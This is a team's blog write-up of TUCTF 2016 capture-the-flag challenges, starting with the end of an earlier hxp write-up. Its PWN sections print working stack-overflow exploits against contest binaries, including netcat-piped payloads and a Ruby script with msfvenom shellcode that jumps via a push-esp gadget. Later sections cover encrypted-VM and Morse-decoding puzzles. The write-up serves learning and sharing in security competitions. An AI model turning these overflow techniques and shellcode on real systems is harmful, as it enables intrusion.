<span class="nt">PHP</span> <span class="nt">Warning</span><span class="o">:</span> <span class="nt">highlight_file</span><span class="o">(</span><span class="nt">flag</span><span class="nc">.php</span><span class="o">):</span> <span class="nt">failed</span> <span class="nt">to</span> <span class="nt">open</span> <span class="nt">stream</span><span class="o">:</span> <span class="nt">No</span> <span class="nt">such</span> <span class="nt">file</span> <span class="nt">or</span> <span class="nt">directory</span> <span class="nt">in</span> <span class="o">/</span><span class="nt">home</span><span class="o">/</span><span class="nt">user</span><span class="o">/</span><span class="nt">OPs</span><span class="o">/</span><span class="nt">TUCtf</span><span class="o">/</span><span class="nt">test</span><span class="nc">.php</span> <span class="nt">on</span> <span class="nt">line</span> <span class="err">6</span>
<span class="nt">PHP</span> <span class="nt">Warning</span><span class="o">:</span> <span class="nt">highlight_file</span><span class="o">():</span> <span class="nt">Failed</span> <span class="nt">opening</span> <span class="s2">'flag.php'</span> <span class="nt">for</span> <span class="nt">highlighting</span> <span class="nt">in</span> <span class="o">/</span><span class="nt">home</span><span class="o">/</span><span class="nt">user</span><span class="o">/</span><span class="nt">OPs</span><span class="o">/</span><span class="nt">TUCtf</span><span class="o">/</span><span class="nt">test</span><span class="nc">.php</span> <span class="nt">on</span> <span class="nt">line</span> <span class="err">6</span>
<span class="o"></</span><span class="nt">li</span><span class="o">></span></code></pre></figure>
<p>Success! The warning shows that the code is trying to open license.txt and flag.php, which don’t exist on my computer - but the code is working. The first line shows the actual payload for the cookie.
After sneaking this into the cookie using burp, the flag was displayed on the list:
hxp{Are you glad that at least Java(TM) isn’t affected by serialization bugs?}</p>
<p>This writeup brought to you by Henning, Heiko and Ferdi (in order of challenges)</p>
TUCTF 2016 - Writeups2016-05-29T00:00:00+00:00/2016/05/tuctf-2016-writeups<p>Two weeks ago we had the pleasure to take part in the <a href="http://ctf.asciioverflow.com/">TU-CTF 2016 </a>organized by ASCII Overflow. It was an entry-level Jeopardy CTF with challenges from different security areas including web, binary exploitation, crypto and even one network analysis challenge. After solving the security riddles a so called flag in the form of TUCTF{…} could be retrieved. Uploading it to the CTF website your team earned some points. The points to earn ranged from 10 to 500 per challenge.
The guys from University of Tulsa programmed their website to show only up to 50 registered teams, since they were not expecting to register more (as far as I understood conversations from IRC). There were some confusion during registration since it seemed we, with a team ID greater than 150, weren’t on the list. The worries got settled after the CTF began. ASCII Overflow delivered a bunch of creative challenges to keep us awake without service interruptions or considerable confusions about the setup. Looking back, this was one of the best organized CTFs(at least infrastructure wise) I took part in - stuff just worked. They pulled off an awesome event. Especially considering that the <a href="http://ctf.asciioverflow.com/scoreboard">scoreboard</a> prompts 435 team - nice job scaling ;-)
One of those teams were the Ulm Security Sparrows. A handful of people of the USS met in the Ulm University to take part in the CTF on Saturday. With some additional hours invested on Sunday we were able to collect 640 points.
This made us achieve the 118th place of 435 teams and place 54/162 among college teams.
We solved the following challenges and wanted to contribute our solutions to the CTF community. We hope to inspire and make others learn like we do reading their writeups. Enjoy.</p>
<p>• PWN 1-3
• Escape from Hell - Start Your Decent
• The Neverending Crypto Level 1-3
• Web 1,2,4
• Misc - The Nack</p>
<h2 id="pwn---bbys-first-elf">PWN - bby’s first elf</h2>
<p>As in other PWN challenges the first one runs in ASCII Overlows’s infrastructure and the participants additionally can download the binary for analysis. The first elf is fairly simple. You can input something and you get some output, nothing else. It seems.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
W0000000f
Do you feel the flow?
</code></pre></div></div>
<p>The first thing I did was loading the binary into radare23 and looking at the main function. Looks boring at first glance, it gives some output and takes input. The later is happening through scanf@0x080485ed which is broken security wise in most cases. The functions takes two arguments: String format@0x080485e6 and point to a buffer@0x080485de with is only 20 bytes in our case. So to trigger a stack overflow we need to input 20 bytes with garbage, then 4 bytes to overwrite the Saved Frame Pointer. The next think on the stack is the Instruction Pointer(IP). Now we own the control flow. But how we get the flag with that?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
[0x08048c70]> pdf@sym.main
;-- main:
/ (fcn) sym.main 60
' ; UNKNOWN XREF from 0x08048488 (sym.main)
' ; DATA XREF from 0x08048487 (sym.main)
' 0x080485c9 55 push ebp
' 0x080485ca 89e5 mov ebp, esp
' 0x080485cc 83e4f0 and esp, 0xfffffff0
' 0x080485cf 83ec20 sub esp, 0x20
' 0x080485d2 c70424ac8604. mov dword [esp], str.This_program_is_hungry._You_should_feed_it. ; [0x80486ac:4]=0x73696854 LEA str.This_program_is_hungry._You_should_feed_it. ; "This program is hungry. You should feed it." @ 0x80486ac
' 0x080485d9 e842feffff call sym.imp.puts
' 0x080485de 8d442414 lea eax, dword [esp + 0x14] ; 0x14
' 0x080485e2 89442404 mov dword [esp + 4], eax
' 0x080485e6 c70424d88604. mov dword [esp], 0x80486d8 ; [0x80486d8:4]=0x44007325
' 0x080485ed e86efeffff call sym.imp.__isoc99_scanf
[...]
</code></pre></div></div>
<p>Let’s look at the methods available in binary. If we list them there is <em>surprise</em> a printFlag() function. Looking at the assembly we can confirm it’s what we have bin looking for. It basically calls open@0x08048582 on the local file
“flag.txt”@0x0804857b and later puts() the content of it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048c70]> afl
[...]
0x0804856d 92 1 sym.printFlag
0x080485c9 60 1 sym.main
[...]
[0x08048c70]> pdf@sym.printFlag
/ (fcn) sym.printFlag 92
' ; var int local_ch @ ebp-0xc
' ; var int local_3eh @ ebp-0x3e
' 0x0804856d 55 push ebp
' 0x0804856e 89e5 mov ebp, esp
' 0x08048570 83ec58 sub esp, 0x58
' 0x08048573 c7442404a086. mov dword [esp + 4], 0x80486a0 ; [0x80486a0:4]=0x6c660072
' 0x0804857b c70424a28604. mov dword [esp], str.flag.txt ; [0x80486a2:4]=0x67616c66 LEA str.flag.txt ; "flag.txt" @ 0x80486a2
' 0x08048582 e8c9feffff call sym.imp.fopen
[...]
</code></pre></div></div>
<p>So we have just to point the our IP to the function address. The exploit looks like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ruby -e 'print("A"*24 + "\x6d\x85\x04\x08")' ' netcat $IP $PORT
</code></pre></div></div>
<p>Easy 25 points.</p>
<h2 id="pwn---woo2">PWN - WoO2</h2>
<p>The 50 points challenge was a little bit harder, but not too much. Let’s look at what the program does.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit
Enter your choice:
2
Choose the type of tiger you want:
1: Siberian Tiger
2: Bengal Tiger
3: Sumatran Tiger
4: Caspian Tiger
3
Enter name of tiger:
asdf
</code></pre></div></div>
<p>Again we have some dummy functionality with a vulnerability waiting to be found. So let’s look at what the program does under the hood. Main() function doesn’t contain any interesting code but a rough structure. Most of the functions do some printing stuff, the first interesting interaction happens inside the method makeStuff(). Let’s look at it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
' 0x00400da2 488b05f71220. mov rax, qword [rip + 0x2012f7] ; [0x6020a0:8]=0x382e342075746e75 LEA obj.stdout__GLIBC_2.2.5 ; "untu 4.8.5-2ubuntu1~14.04.1) 4.8.5" @ 0x6020a0
' 0x00400da9 4889c7 mov rdi, rax
' 0x00400dac e82ffaffff call sym.imp.fflush
' 0x00400db1 488d45fc lea rax, qword [rbp - local_4h]
' 0x00400db5 4889c6 mov rsi, rax
' 0x00400db8 bf18104000 mov edi, 0x401018 ; "%d" @ 0x401018
' 0x00400dbd b800000000 mov eax, 0
' 0x00400dc2 e839faffff call sym.imp.__isoc99_scanf
' 0x00400dc7 e8e4f9ffff call sym.imp.getchar
' 0x00400dcc 8b45fc mov eax, dword [rbp - local_4h]
' 0x00400dcf 83f803 cmp eax, 3
' ,=< 0x00400dd2 743c je 0x400e10
[...]
' '''''' 0x00400def 3d37130000 cmp eax, 0x1337
' ,=======< 0x00400df4 743c je 0x400e32
[...]
' ''''''`-> 0x00400e10 b800000000 mov eax, 0
' '''''' 0x00400e15 e81ffeffff call sym.makeBear
[...]
' `-------> 0x00400e32 b800000000 mov eax, 0
' '''' ' 0x00400e37 e8a5feffff call sym.pwnMe
[...]
</code></pre></div></div>
<p>In the assembly snipped above we see a scanf() which reads an integer (since “\%d” is a parameter), followed by a switch case. It checks for the typed number and creates an animal according to the input. Address 0x00400def compares a flashy number: 0x1337 respectively 4919 in base ten. Then we jump to the pwnMe() method and look at what it does.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
0x00400ce5 4883ec10 sub rsp, 0x10
' 0x00400ce9 8b05d1132000 mov eax, dword [rip + 0x2013d1] ; [0x6020c0:4]=0x4700352e LEA obj.bearOffset ; ".5" @ 0x6020c0
' 0x00400cef 4898 cdqe
' 0x00400cf1 488b04c5e020. mov rax, qword [rax*8 + obj.pointers] ; [0x6020e0:8]=0x322e382e3420 LEA obj.pointers ; " 4.8.2" @ 0x6020e0
' 0x00400cf9 488945f0 mov qword [rbp - local_10h], rax
' 0x00400cfd 488b45f0 mov rax, qword [rbp - local_10h]
' 0x00400d01 8b4014 mov eax, dword [rax + 0x14] ; [0x14:4]=1
' 0x00400d04 83f803 cmp eax, 3
' ,=< 0x00400d07 7511 jne 0x400d1a
' ' 0x00400d09 488b45f0 mov rax, qword [rbp - local_10h]
' ' 0x00400d0d 488b00 mov rax, qword [rax]
' ' 0x00400d10 488945f8 mov qword [rbp - local_8h], rax
' ' 0x00400d14 488b45f8 mov rax, qword [rbp - local_8h]
' ' 0x00400d18 ffd0 call rax
' ' ; JMP XREF from 0x00400d07 (sym.pwnMe)
' `-> 0x00400d1a bf00000000 mov edi, 0
\ 0x00400d1f e8ecfaffff call sym.imp.exit</pre>
</code></pre></div></div>
<p>At the position 0x00400d18 a method with its address in $RAX is called. Interesting, let’s make a shortcut - instead of reversing we start a debugger and look how we can influence the targeted register. There is a compare statement at 0x00400d04 which we have to pass, so we need the value 3 in EAX at this point. For a closer look we put a break point there and create a brown bear (because brown bears are the most awesome animals on earth, this was the first thing I created). Inside GDB we do the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b* 0x00400d04
run
3 # choose bears
2 # choose a brown bear
ABCDEFGHKL # give the animal some name
info registers # look at EAX/RAX
</code></pre></div></div>
<p>We notice EAX has the value two. Trying different animals we state that the second input (brown bear) is what is copied into EAX. The only possible combination is to take Sumatran Tiger (input is two, then three). Again we give it a name with handy letters and rerun the program inside the debugger. It throws a segfault when executing “call RAX” and <em>surprise</em>, <em>surprise</em> the value of RAX is 0x4847464544434241 at this point. In Little Endian this stands for “ABCDEFGH”. We own control flow. But where to go to? We again execute <em>afl</em> shortcut in radare2 to find a method named “l33tH4x0r”. The method we have to jump to is called printFlag(), like in the first challenge. So in summary, we choose a tiger (value two), then a Sumatran tiger (value 3), choose the name of our tiger to be the address of l33tH4x0r method as a 64bit value. And finally choose 4919 (0x1337).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ruby -e 'print("\x32\n\x33\n\x0d\x09\x40\x00\x00\x00\x00\x00\x00\n4919\n")' ' netcat $IP $PORT
</code></pre></div></div>
<h2 id="pwn---especially-good-jmps">PWN - Especially Good Jmps</h2>
<p>The 75 points needed some more effort to invest into exploitation but not to find the vulnerability itself. The challenge text already states that we will have to bypass ASLR on the server. The name good Jmps already suggests exploitation techniques. As we know a reliable jump to our shellcode can be done through Assembly gadgets which points to our stack. So if you control the Instruction Pointer, you still put your shellcode after the Saved IP but to jump there you can’t use the address since you don’t know it. To check the theory we use Tobias Klein’s checksec:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$checksec --file 23e4f31a5a8801a554e1066e26eb34745786f4c4
RELRO STACK CANARY NX PIE[...]
Partial RELRO No canary found NX disabled No PIE[...]
</code></pre></div></div>
<p>No canaries are build in and no NX bit set, so we get to do regular stack smashing. Let’s look at our victim, the main():</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x0804851d 55 push ebp
0x0804851e 89e5 mov ebp, esp
0x08048520 83e4f0 and esp, 0xfffffff0
0x08048523 83ec30 sub esp, 0x30
0x08048526 c70424808604. mov dword [esp], str.What_s_your_name_ ;
0x0804852d e8aefeffff call sym.imp.puts
0x08048532 a140a00408 mov eax, dword [obj.stdout__GLIBC_2.0] ;
0x08048537 890424 mov dword [esp], eax
0x0804853a e881feffff call sym.imp.fflush
0x0804853f 8d442410 lea eax, dword [esp + 0x10] ; 0x10
0x08048543 890424 mov dword [esp], eax
0x08048546 e885feffff call sym.imp.gets
0x0804854b c70424928604. mov dword [esp], str.What_s_your_favorite_number_ ;
[...]
</code></pre></div></div>
<p>We’ll take the first buffer overflow we are offered: <em>gets()</em> functions just take a buffer pointer as an argument and write into it as long as the function receives input. How much bytes do we have to write for control flow hijacking? Let’s start at the Assembly: first Assembly OP <em>and esp, 0xfffffff0</em> basically subtracts 1-15 from ESP. We look at the ESP, this time inside a debugger, and confirm that the least significant bits are the decimal value 8. Even when we have ASLR activated the offsets are about to be the same. Afterwards another 48bytes are allocated on stack with <em>sub esp,0x30</em>. That means 56 bytes for local variables. A little later we increment the stack pointer by 16 (that means the stack shrinks) using the operation <em>lea eax, dword [esp + 0x10]</em>. That means we need to fill up the remaining 40 bytes with garbage, overwrite the saved frame pointer with 4 bytes of garbage, append the address of a gadget the Instruction Pointer will point to and finally put our shellcode onto the stack. Easy as PIE. <br />
Let’s look at how to find a gadget. Remember what I said at the beginning of this section, we need an OP code to reliably jump to our shellcode. Radare2 has of course tools for that: using <em>/c push esp</em> you get five addresses where this gadget in your binary lives. The last one I found was (nearly) perfect. It looks like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$pd@0x08048440
0x08048440 fff4 push esp
0x08048442 6690 nop
0x08048444 6690 nop
0x08048446 6690 nop
0x08048448 6690 nop
0x0804844a 6690 nop
0x0804844c 6690 nop
0x0804844e 6690 nop
0x08048450 8b1c24 mov ebx, dword [esp]
0x08048453 c3 ret
[...]
</code></pre></div></div>
<p>After we’ve overwritten our buffer with 44 bytes of garbage we put the address 0x08048440 onto the stack. Thus when we leave our main() function the Instruction Pointer will point to it. <em>push esp</em> will lay the pointer of ESP onto the stack and later we load it into the register EIP with the op code <em>ret</em>. At this point esp contains our shellcode.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env ruby
# padding + address of pop ebp, ret
payload = "\x41" * 44
# addr of gadget push esp, ret
payload += "\x40\x84\x04\x08"
# Noobs use NOPS
payload += "\x90" * 20
# shellcode, generated with:
# msfvenom -p linux/x86/exec CMD='/bin/cat ./flag.txt' -b '\x00' -f ruby
payload +=
"\xba\x33\x5a\x81\xb0\xda\xc3\xd9\x74\x24\xf4\x5e\x29\xc9" +
"\xb1\x0e\x31\x56\x15\x83\xc6\x04\x03\x56\x11\xe2\xc6\x30" +
"\x8a\xe8\xb1\x97\xea\x60\xec\x74\x7a\x97\x86\x55\x0f\x30" +
"\x56\xc2\xc0\xa2\x3f\x7c\x96\xc0\xed\x68\xbc\x06\x11\x69" +
"\x92\x64\x78\x07\xc3\x0b\x1b\xa3\x3b\xe2\xf4\x2d\x50\x9b" +
"\x6d\x9c\xdc\x23\x05\xe0\x4b\x87\x6c\x01\xbe\xa7"
f = File.open('payload.hex', 'wb')
f.write(payload)
f.close()
# system("cat payload.hex ' netcat $IP $PORT")
</code></pre></div></div>
<p>A huge thanks goes to the team <a href="https://ctftime.org/team/3135">Batman’s Kitchen</a>. One of their members gave me valuable feedback on my shellcode and why it failed. This enabled us to get the last 75 points close to the end of TUCTF.</p>
<h2 id="escape-from-hell---start-your-descent">Escape from Hell - Start Your Descent</h2>
<p>The TU-CTF team provided a VM for download. Starting the VM shows the GRUB bootscreen and after selecting the actual Linux installation, a password prompt appears.</p>
<p>In order to further analyse the machine using gparted, we mounted the provided VMDK into another VM, running Ubuntu. Except for the boot partition, all other volumes were encrypted and most of them were part of an LVM. <em>sudo strings /dev/sdc1 ‘ grep -C 30 -i “tuctf”</em> gives us the following text:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to Hell!
After taking a wrong turn on your way home from work, you somehow ended up in Hell! Don't worry though, a stray cat named Lucifer (no relation) spotted your predicament and has agreed to help you in your quest to escape.
Luckily, the first level of Hell is fairly pleasant, so getting out of here won't be hard.
Lucifer the Cat has a few helpful tips for your journey:
1) Lucifer recommends using a livecd of Arch Linux booted alongside the VM
2) For decryption, we will only use the contents of a flag: e.g. in the solution tuctf{flag_goes_here}, the decryption key for the next level would only be flag_goes_here.
3) The Arch wiki's page on dm-crypt may come in handy if you haven't previously used it.
Good luck! Your first decryption key (for section m1) is "welcome_to_hell!"
</code></pre></div></div>
<p>Using the given password “welcome_to_hell!”, we decrypt section m1 (which is actually /dev/sdc5) and then mount the contained LVM volume.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo cryptsetup luksOpen /dev/sdb5 m1
$ sudo vgscan
$ sudo vgchange -ay
$ sudo mount /dev/mapper/m1-m1 /mnt/m1
$ cd /mnt/m1
$ ls
AFewWords lost+found
</code></pre></div></div>
<p>The file <em>AFewWords</em> contains the following challenge:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ah, the second level of Hell, Lust. Violent winds batter you about as you struggle to find your way across. Lucifer knows the way, of course, but all you can hear over the howling wind are these few words:
Purr! Purr! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Purr! Purr! Mew! Meow! Meow! Meow! Meow! Meow! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Mew! Meow! Mew! Purr! Meow! Mew! Meow! Meow! Purr! Meow! Purr! Mew! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Meow! Meow! Meow! Purr! Meow! Meow! Meow! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Meow! Meow! Purr! Meow! Purr! Purr! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew!
Purr! Meow! Mew! Meow! Meow! Purr! Meow! Meow! Meow! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Meow! Purr! Purr! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Meow! Purr! Purr! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Meow! Meow! Purr! Meow! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Mew! Purr! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Purr! Purr! Purr! Meow! Purr! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Meow! Meow! Purr! Mew! Purr! Purr! Purr! Purr! Purr! Purr! Meow! Mew! Meow! Meow! Mew! Meow! Mew! Purr! Meow! Mew! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Meow! Purr! Meow!
</code></pre></div></div>
<p>Our presumption that this strange sequence of words has something to do with the programming language Ook!, which is a derivative of Brainfuck was confirmed via the IRC. A hint concerning <a href="http://esolangs.org/wiki/Ook!">Ook!</a> was published there.
Ook! basically works like Brainfuck, but the commands are renamed as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> Ook. Ook? Move the pointer to the right
< Ook? Ook. Move the pointer to the left
+ Ook. Ook. Increment the memory cell under the pointer
- Ook! Ook! Decrement the memory cell under the pointer
. Ook! Ook. Output the character signified by the cell at the pointer
, Ook. Ook! Input a character and store it in the cell at the pointer
[ Ook! Ook? Jump past the matching Ook? Ook! if the cell under the pointer is 0
] Ook? Ook! Jump back to the matching Ook! Ook?
</code></pre></div></div>
<p>After first trying the wrong combination, we found the correct relation between cats and orang utans:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mew = Ook?
Purr! = Ook!
Meow = Ook.
</code></pre></div></div>
<p>We translated the given sequence into Ook! and from Ook! to Brainfuck. The result looked like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-[--->+<]>.--[--->+<]>---.--.+++.------------.++++++++.-[++>---<]>+.[-->+++<]>-.
-[--->++<]>.-------.+++.>++++++++++.[--------->++<]>.+.+[->+++<]>+.-[--->+<]>--.
+++[->+++<]>+.+[----->+<]>.-[->+++<]>-.--------.++++++++++.++++++++.[->+++<]>--.
++++++++++++.-----------.+.+++++[->+++<]>.-[->++++++<]>+..----.----------.++++++
+++++++.[--->+<]>-.--[->+++<]>-.---.+[--->+<]>+++.++++.
</code></pre></div></div>
<p>Executing it yielded the flag with which we were also able to decrypt /tmp (/dev/sdb6):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Unlock /tmp
tuctf{meowcode>ookanyday}
</code></pre></div></div>
<h2 id="the-neverending-crypto-level-1">The Neverending Crypto Level 1</h2>
<p>The first hint that was given was to connect to port 24069 at a certain IP. Of course I did that and was greeted.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to The Neverending Crypto!
Quick, find Falkor and get through this!
This is level 1, the Bookstore
Round 1. Give me some text:
</code></pre></div></div>
<p>So, I typed ‘a’ on my keyboard and the server responded</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a encrypted is .-
What is -.. --- -. - ..-. --- .-. --. . - .- ..- .-. -.-- -. decrypted?
</code></pre></div></div>
<p>Well, I am not a specialist of morse code, but i recognize morse when I see it. Nevertheless I was too slow to search on wikipedia for a table, decode that stuff and type it back. The server closed the connection. So I wrote a script to decode morse. After many trial and errors I finally succeeded and answered correctly to the server who only wanted that I decode more morse.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Correct!
Round 2. Give me some text:
a encrypted is .-
What is .- - .-. . -.-- ..- ...- ... --. -- --- .-. -.- decrypted?
</code></pre></div></div>
<p>So I had to modify my script. I put a loop around the decoder. At first it was an endless loop, but at 50 rounds the script exploded.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Round 50. Give me some text:
a encrypted is .-
What is - .-. -.-- ... .-- .. -- -- .. -. --. decrypted?
Cleartext is:try swimming
Correct!
Round complete!
TUCTF{i_wi11_n0t_5teal}
------------------------------------------
You take the book
This is level 2 the attic
Round 1. Give me some text:
</code></pre></div></div>
<p>So. we finally made it to level 2. Sweet victory. This TUCTF{i_wi11_n0t_5teal}-stuff is a token which you could put in the website and then my team got 10 credits. That’s how CTFs work.</p>
<p>What follows is my code. The file was named scriptl1.py</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python
ip='xxx.xxx.xxx.xxx'
port=24069
CODEL1 = { '.-' : 'a', '-...':'b', '-.-.':'c',
'-..' : 'd', '.' :'e', '..-.':'f',
'--.' : 'g', '....':'h', '..' :'i',
'.---': 'j', '-.-' :'k', '.-..':'l',
'--' : 'm', '-.' :'n', '---' :'o',
'.--.': 'p', '--.-':'q', '.-.' :'r',
'...' : 's', '-' :'t', '..-' :'u',
'...-': 'v', '.--' :'w', '-..-':'x',
'-.--': 'y', '--..':'z',
}
import socket
import re
# Level 1
sock = socket.socket()
sock.connect((ip, port))
for i in xrange(50):
print(sock.recv(256))
# Round i. Give me some text:
sock.send("a\n")
print("#######")
answer=sock.recv(256)
print("server answer:" +answer)
# a encrypted is .-
# What is ..-. .-. .- --. -- . -. - .- - .. --- -. decrypted?
# :
match=re.search('What is (.*) decrypted?', answer)
morse=match.group(1)
cleartext=''
for morsechar in morse.replace(" "," space ").split():
if morsechar == 'space':
cleartext += ' '
else:
cleartext += CODEL1[morsechar]
print("Cleartext is:" + cleartext)
sock.send(cleartext+"\n")
</code></pre></div></div>
<p>The stuff with the space is a dirty hack. If you split a string containing multiple spaces in Python the sucker will just disregard it. So i substituted multiple spaces by “ space “, split and then appended a space when encountering the word “space”. Well, at CTFs you are sometimes under time pressure and code elegance is subordinate.</p>
<h2 id="the-neverending-crypto-level-2">The Neverending Crypto Level 2</h2>
<p>For level 2 I had to go through level 1 every time. At least that is what the guys at the IRC-channel said:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(13:35:28) uss_cryptobunny: whoisjohngalt: in the crypto challenge is there a shortcut to level2 or do i have to run through level1 every time?
(13:35:59) neptunia: ^ every time
(13:36:04) neptunia: that's why its neverending
</code></pre></div></div>
<p>So i restructured my code. I made a main.py which executed the different files for the different levels. At the end it looked like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>execfile("scriptl1.py")
execfile("scriptl2.py")
execfile("scriptl3.py")
</code></pre></div></div>
